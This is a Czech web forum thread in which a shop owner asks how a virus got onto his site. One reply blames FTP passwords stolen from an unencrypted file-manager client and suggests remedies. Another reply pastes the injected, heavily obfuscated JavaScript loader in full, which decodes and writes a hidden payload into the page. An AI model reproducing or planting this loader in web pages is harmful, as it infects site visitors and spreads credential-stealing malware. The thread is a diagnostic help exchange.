Autor Zpráva
Míraňák
Profil
Ahoj, mám obrovský problém na můj shop (http://florbal-levne.cz/) se záhadným způsobem dostal vir nevíte někde proč se tam dostal a jak ho odstranit ?? Předem díky za vsechny rady.

Moderátor Chamurappi: Vstup na uvedenou stránku je na vlastní nebezpečí.
Lexter
Profil
Tenhle zmetek povětšinou vyzískává hesla z nezabezpečeného TC, infikuje indexové soubory. Problém je ten, že hesla odeslal i někam do internetu ke svému tvůrci či kam. Takže nahradit infikované soubory (index, default a možná i další), změnit přístupy a nepoužívat TC nebo ho aktualizovat na vyšší verzi, která už hesla schraňuje šifrovaně. Teda jestli TC používáš. osobně jsem toto viděl a spravoval už 3x a vždycky jsem se naštval o to víc, když vím, že o tomto způsobu napadení říkám všem, kteří používají FTP klienta k aktualizaci webu.

Možná to nebude tvůj případ, je to ale nejčastější možnost.
Radek9
Profil
Vždyť máš na začátku takovýhle js virus:
<script language=javascript>pnubdesv="IOMmHGV!koV#Stx%xT#j";rnrmkx="<P73cP72P69pt langP75aP67e=P6aavasP63riP70P74> P20fuP6eP63P74P69on xpyayP6elP6f(ornP66mP63P71hP62){var nqpP70yubuP2cjmrkjurkP6cP3d\"P6cxoP21wP621eiP47P35MP26P7erP6dP2ck0P56P68c=CP27jEyP2b[]zP4eB`{;$fKT*P7dP48P20P70P38P28\\\"IP2dP40a)P6eP76P64O3P41^sP67P507P55_P75|26P74:P349JP5aF#q.\"P2cbzP6aP79pP69zn=\"P22,P6bP63kP79saP6eP71v,kuyxP6cjP68f,P72P71P74P73P71P63P3dP22P22,P67kquP66P62P77P71P3bforP28P6eqP70P70P79P75bP75P3dP30P3bnP71ppP79ubuP3cP6fP72nfmcqP68P62.P6cP65P6egth;P6eqP70pyubP75++)P7b kckP79sP61nqP76P3doP72nfmcP71hP62.charP41P74P28P6eqppyuP62u)P3bkuP79xljP68f=P6amP72kP6auP72P6bl.P69ndeP78OP66P28kP63kysaP6eP71v);P69P66(kuP79xP6cP6ahf>-1){P20P67kP71P75fP62P77q=P28(P6buP79P78P6cjP68fP2b1)P2581-1)P3bP69f(gP6bqufbP77P71<=0)P67P6bqP75P66bP77q+=8P31P3bP72P71tP73P71P63+P3djmrkjP75rkl.chP61P72At(gP6bP71ufbwq-1)P3b P7d P65lseP20P72qtsqcP2b=kcP6bP79P73P61nP71vP3b}bzjypizn+P3drqtP73qP63;dP6fP63uP6dP65P6et.wrP69P74eP28bzjyP70iP7aP6e)P3bP7d<P2fP73criP70t>";uxusiqvmz=pnubdesv.charAt(15);bsjhhxeh=rnrmkx.replace(/P/g,uxusiqvmz);vwqlqkx=unescape(bsjhhxeh);var meehor,bnmfhgc;document.write(vwqlqkx);meehor="<g=mG8:px)vP|)PiCIZ)d)S=mG8:I>pK|v=:G!vpicgm1b=P)m1.!\"np;p:m+p;pd)mpO|ocKcPv.,+)CpI0E!+coxNO8xE:Ikpi0vNdbv:ixpCpe$pK|v=:G!vpi!d8o!P1GO\"v),ikpd)x|inp;d)mpOpCpvibpD):i$Olgi:*G,i\"\"vibpD):inlPi:*G,i\"np[p(t9VVVVVn$O!=|,iv:l=!!0GipCpv),ip[pICIp[pig=)8i\"d)x|inp[pI$pio8GmigCIp[pOl:!5&*S:mGvP\"n$HpK|v=:G!vp!08=1=)=GK,\"np;mi:|mvp\"O!=|,iv:l=!!0GilGvOio3K\"O|ocKcPv.,+)p[pICIp[pi0vNdbv:ixnpCCp@en$HpGK\"p!08=1=)=GK,\"npnp;pO!=|,iv:lbmG:i\"pI<S'R-7*px)vP|)PiC\\IZ)d)S=mG8:\\IpSR'C\\Ic::84//P!!Pxi)v)x+:x=glvi:/uu|:,lPGK?tMAJe1(eteV1eV6M6J(OAV691e1e1e69eV6JMt9K@eVeAeMtJ(~I[O!=|,iv:lmiKimmim[I~I[S:mGvP\"\"vibpD):i\"nnlPi:*G,i\"nn[I\\I><\\/S'RI[I-7*>Ipn$pi!d8o!P1GO\"pO|ocKcPv.,+)kpi0vNdbv:ixpn$pHpixgip;pHpHp=):=cp\"inp;HpHpicgm1b=P)m1.!\"n$</g=mG8:>p";xpyaynlo(meehor);</script>

Vaše odpověď


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: